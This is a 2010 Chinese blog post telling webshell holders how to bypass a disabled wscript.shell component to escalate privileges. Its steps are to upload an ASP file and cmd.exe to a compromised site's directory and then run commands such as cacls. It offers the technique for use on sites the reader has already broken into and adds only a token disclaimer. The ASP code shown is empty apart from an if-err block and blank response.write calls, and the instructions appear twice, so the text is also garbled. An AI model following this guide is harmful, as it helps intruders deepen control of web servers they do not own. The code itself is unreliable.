上一篇: 
下一篇: 
突破wscript.shell被禁提权
作者:苦咖啡 日期:2010-01-21
可能很多人手上有很多的webshell，可都是因为提权的时候不是因为权限低就是因为wscript.shell被禁用无法执行CMD，现在可以用以下代码
把下面代码复制：
<%if err then%>
<%
end if
response.write("")
response.write("")
%>
保存为一个asp文件，然后传到网站目录上去，试着再上传个cmd.exe然后把路径写入上面代码。
然后可以运行过cacls之类的命令。
如果权限限制了某些特殊代码执行，则上面代码无效
本文只供技术交流，请误非法使用，后果自负
把下面代码复制：
复制内容到剪贴板
程序代码
程序代码<%if err then%>
<%
end if
response.write("")
response.write("")
%>
保存为一个asp文件，然后传到网站目录上去，试着再上传个cmd.exe然后把路径写入上面代码。
然后可以运行过cacls之类的命令。
如果权限限制了某些特殊代码执行，则上面代码无效
本文只供技术交流，请误非法使用，后果自负
文章来自: 
引用通告: 
Tags: 
相关日志:
评论: 0 | 引用: 0 | 查看次数: 839
发表评论
